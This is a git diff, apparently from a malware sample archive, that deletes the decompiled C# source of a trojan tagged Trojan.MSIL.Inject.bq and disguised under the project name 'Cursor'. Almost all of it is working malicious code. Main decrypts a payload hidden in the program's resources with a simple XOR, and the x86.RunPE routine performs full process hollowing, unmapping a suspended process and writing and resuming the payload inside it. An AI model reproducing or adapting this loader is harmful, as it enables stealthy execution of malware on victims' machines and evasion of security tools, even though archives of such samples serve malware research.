ctxt[41] + 8L)), ref bufr, new IntPtr(4), ref numRead) && x86.Win32.NtUnmapViewOfSection(pInfo[0], bufr) == 0U) - { - IntPtr hProc1 = pInfo[0]; - IntPtr num2 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 52))); - IntPtr addr1 = num2; - IntPtr num3 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 80))); - IntPtr size2 = num3; - IntPtr baseAddr1 = x86.Win32.VirtualAllocEx(hProc1, addr1, size2, 12288, 64); - bool flag = x86.Win32.WriteProcessMemory(pInfo[0], baseAddr1, bytes, size1, ref numRead); - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst1 = new int[10]; - Buffer.BlockCopy((Array) bytes, checked (int32 + 248 + num5 * 40), (Array) dst1, 0, 40); - byte[] dst2 = new byte[checked (dst1[4] - 1 + 1)]; - Buffer.BlockCopy((Array) bytes, dst1[5], (Array) dst2, 0, dst2.Length); - IntPtr hProc2 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr baseAddr2 = num3; - byte[] buff = dst2; - num2 = new IntPtr(dst2.Length); - IntPtr size3 = num2; - ref IntPtr local1 = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc2, baseAddr2, buff, size3, ref local1); - IntPtr hProc3 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr addr2 = num3; - num2 = new IntPtr(dst1[2]); - IntPtr size4 = num2; - int newProt = x86.prot[dst1[9] >> 29 & 7]; - int num6; - ref int local2 = ref num6; - flag = x86.Win32.VirtualProtectEx(hProc3, addr2, size4, newProt, ref local2); - checked { ++num5; } - } - IntPtr hProc4 = pInfo[0]; - num3 = new IntPtr(checked ((long) ctxt[41] + 8L)); - IntPtr baseAddr3 = num3; - byte[] bytes1 = BitConverter.GetBytes(baseAddr1.ToInt32()); - num2 = new IntPtr(4); - IntPtr size5 = num2; - ref IntPtr local = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc4, baseAddr3, bytes1, size5, ref local); - ctxt[44] = checked ((uint) (baseAddr1.ToInt32() + BitConverter.ToInt32(bytes, int32 + 40))); - x86.Win32.SetThreadContext(pInfo[1], ctxt); - } - x86.Win32.ResumeThread(pInfo[1]); - } - - [SuppressUnmanagedCodeSecurity] - private class Win32 - { - [DebuggerNonUserCode] - public Win32() - { - } - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool CreateProcess( - string appName, - StringBuilder commandLine, - IntPtr procAttr, - IntPtr thrAttr, - [MarshalAs(UnmanagedType.Bool)] bool inherit, - int creation, - IntPtr env, - string curDir, - byte[] sInfo, - IntPtr[] pInfo); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("ntdll")] - public static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool ReadProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - ref IntPtr bufr, - IntPtr bufrSize, - ref IntPtr numRead); - - [DllImport("kernel32")] - public static extern int ResumeThread(IntPtr hThr); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool SetThreadContext(IntPtr hThr, uint[] ctxt); - - [DllImport("kernel32")] - public static extern IntPtr VirtualAllocEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int allocType, - int prot); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool VirtualProtectEx( - IntPtr hProc, - IntPtr addr, - IntPtr size, - int newProt, - ref int oldProt); - - [DllImport("kernel32")] - [return: MarshalAs(UnmanagedType.Bool)] - public static extern bool WriteProcessMemory( - IntPtr hProc, - IntPtr baseAddr, - byte[] buff, - IntPtr size, - ref IntPtr numRead); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/AssemblyInfo.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/AssemblyInfo.cs deleted file mode 100644 index 6b00be35..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/AssemblyInfo.cs +++ /dev/null @@ -1,13 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; - -[assembly: AssemblyCompany("")] -[assembly: AssemblyTitle("Cursor")] -[assembly: AssemblyCopyright("Copyright © 2010")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyDescription("1")] -[assembly: AssemblyProduct("Cursor")] -[assembly: ComVisible(false)] -[assembly: AssemblyFileVersion("1.0.0.0")] -[assembly: Guid("728093e4-7457-46be-8e8e-0fdee382cfff")] -[assembly: AssemblyVersion("1.0.0.0")] diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Module1.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Module1.cs deleted file mode 100644 index 03a42505..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Module1.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.Module1 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; - -namespace Cursor -{ - [StandardModule] - internal sealed class Module1 - { - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SizeofResource(IntPtr hModule, IntPtr hResInfo); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LoadResource(IntPtr hModule, IntPtr hResInfo); - - [STAThread] - public static void Main() - { - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; - IntPtr moduleHandle = Module1.GetModuleHandle(ref moduleName); - IntPtr resource = Module1.FindResource(moduleHandle, "69", "GAY"); - IntPtr source = Module1.LoadResource(moduleHandle, resource); - int length = Module1.SizeofResource(moduleHandle, resource); - byte[] numArray = new byte[checked (length - 1 + 1)]; - Marshal.Copy(source, numArray, 0, length); - int int32 = BitConverter.ToInt32(numArray, checked (numArray.Length - 4)); - byte[] bytes = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[checked (numArray.Length - 3 + 1)]); - Random random = new Random(int32); - byte[] buffer = new byte[checked (bytes.Length - 1 + 1)]; - random.NextBytes(buffer); - int num = checked (bytes.Length - 1); - int index = 0; - while (index <= num) - { - bytes[index] = (byte) ((int) bytes[index] ^ (int) buffer[index]); - checked { ++index; } - } - x86.RunPE(bytes, Process.GetCurrentProcess().MainModule.FileName); - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyApplication.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyApplication.cs deleted file mode 100644 index 79fa9d20..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyApplication.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyApplication -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - [DebuggerNonUserCode] - public MyApplication() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyComputer.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyComputer.cs deleted file mode 100644 index 7dcef646..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyComputer -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyProject.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyProject.cs deleted file mode 100644 index c9fcd61e..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MyProject.cs +++ /dev/null @@ -1,194 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MyProject -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace Cursor.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [DebuggerNonUserCode] - static MyProject() - { - } - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettings.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettings.cs deleted file mode 100644 index ee04025f..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettings.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettings -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [EditorBrowsable(EditorBrowsableState.Advanced)] - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - [DebuggerNonUserCode] - public MySettings() - { - } - - public static MySettings Default - { - get - { - MySettings defaultInstance = MySettings.defaultInstance; - return defaultInstance; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettingsProperty.cs deleted file mode 100644 index 1b93c5d0..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/MySettingsProperty.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.MySettingsProperty -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace Cursor.My -{ - [DebuggerNonUserCode] - [HideModuleName] - [StandardModule] - [CompilerGenerated] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings - { - get - { - MySettings settings = MySettings.Default; - return settings; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/Resources/Resources.cs deleted file mode 100644 index 48731c92..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/My/Resources/Resources.cs +++ /dev/null @@ -1,46 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.My.Resources.Resources -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace Cursor.My.Resources -{ - [HideModuleName] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")] - [StandardModule] - [DebuggerNonUserCode] - [CompilerGenerated] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) Cursor.My.Resources.Resources.resourceMan, (object) null)) - Cursor.My.Resources.Resources.resourceMan = new ResourceManager("Cursor.Resources", typeof (Cursor.My.Resources.Resources).Assembly); - return Cursor.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => Cursor.My.Resources.Resources.resourceCulture; - set => Cursor.My.Resources.Resources.resourceCulture = value; - } - } -} diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Resources.resx b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Resources.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Resources.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.csproj b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.csproj deleted file mode 100644 index a10af0fb..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.csproj +++ /dev/null @@ -1,52 +0,0 @@ - - - - - Debug - AnyCPU - {B6BCD142-F7F0-4820-B7E0-DEE238AEEB62} - WinExe - Cursor - 1.0.0.0 - Cursor - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.sln b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.sln deleted file mode 100644 index 692e9035..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/Trojan.MSIL.Inject.bq.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Cursor", "Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.csproj", "{B6BCD142-F7F0-4820-B7E0-DEE238AEEB62}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {B6BCD142-F7F0-4820-B7E0-DEE238AEEB62}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {B6BCD142-F7F0-4820-B7E0-DEE238AEEB62}.Debug|Any CPU.Build.0 = Debug|Any CPU - {B6BCD142-F7F0-4820-B7E0-DEE238AEEB62}.Release|Any CPU.ActiveCfg = Release|Any CPU - {B6BCD142-F7F0-4820-B7E0-DEE238AEEB62}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/x86.cs b/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/x86.cs deleted file mode 100644 index f82f8d4a..00000000 --- a/MSIL/Trojan/MSIL/I/Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b/x86.cs +++ /dev/null @@ -1,170 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Cursor.x86 -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: B150258B-E423-436E-A699-590287945A17 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Inject.bq-a33a7103d1724c36da101cc1e56f91622ec28363c418e389d2425f4f83c0484b.exe - -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Security; -using System.Text; - -namespace Cursor -{ - public class x86 - { - private static readonly int[] prot = new int[8] - { - 1, - 16, - 2, - 32, - 4, - 64, - 4, - 64 - }; - - [DebuggerNonUserCode] - public x86() - { - } - - public static void RunPE(byte[] bytes, string surrogateProcess) - { - int int32 = BitConverter.ToInt32(bytes, 60); - int int16 = (int) BitConverter.ToInt16(bytes, checked (int32 + 6)); - IntPtr size1 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 84))); - byte[] sInfo = new byte[68]; - IntPtr[] pInfo = new IntPtr[4]; - IntPtr num1; - if (!x86.Win32.CreateProcess((string) null, new StringBuilder(surrogateProcess), num1, num1, false, 4, num1, (string) null, sInfo, pInfo)) - return; - uint[] ctxt = new uint[179]; - ctxt[0] = 65538U; - IntPtr bufr; - IntPtr numRead; - if (x86.Win32.GetThreadContext(pInfo[1], ctxt) && x86.Win32.ReadProcessMemory(pInfo[0], new IntPtr(checked ((long) ctxt[41] + 8L)), ref bufr, new IntPtr(4), ref numRead) && x86.Win32.NtUnmapViewOfSection(pInfo[0], bufr) == 0U) - { - IntPtr hProc1 = pInfo[0]; - IntPtr num2 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 52))); - IntPtr addr1 = num2; - IntPtr num3 = new IntPtr(BitConverter.ToInt32(bytes, checked (int32 + 80))); - IntPtr size2 = num3; - IntPtr baseAddr1 = x86.Win32.VirtualAllocEx(hProc1, addr1, size2, 12288, 64); - bool flag = x86.Win32.WriteProcessMemory(pInfo[0], baseAddr1, bytes, size1, ref numRead); - int num4 = checked (int16 - 1); - int num5 = 0; - while (num5 <= num4) - { - int[] dst1 = new int[10]; - Buffer.BlockCopy((Array) bytes, checked (int32 + 248 + num5 * 40), (Array) dst1, 0, 40); - byte[] dst2 = new byte[checked (dst1[4] - 1 + 1)]; - Buffer.BlockCopy((Array) bytes, dst1[5], (Array) dst2, 0, dst2.Length); - IntPtr hProc2 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr baseAddr2 = num3; - byte[] buff = dst2; - num2 = new IntPtr(dst2.Length); - IntPtr size3 = num2; - ref IntPtr local1 = ref numRead; - flag = x86.Win32.WriteProcessMemory(hProc2, baseAddr2, buff, size3, ref local1); - IntPtr hProc3 = pInfo[0]; - num3 = new IntPtr(checked (baseAddr1.ToInt32() + dst1[3])); - IntPtr addr2 = num3; - num2 = new IntPtr(dst1[2]); - IntPtr size4 = num2; - int newProt = x86.prot[dst1[9] >> 29 & 7]; - int num6; - ref int local2 = ref num6; - flag = x86.Win32.VirtualProtectEx(hProc3, addr2, size4, newProt, ref local2); - checked { ++num5; } - } - IntPtr hProc4 = pInfo[0]; - num3 = new IntPtr(checked ((long) ctxt[41] + 8L)); - IntPtr baseAddr3 = num3; - byte[] bytes1 = BitConverter.GetBytes(baseAddr1.ToInt32()); - num2 = new IntPtr(4); - IntPtr size5 = num2; 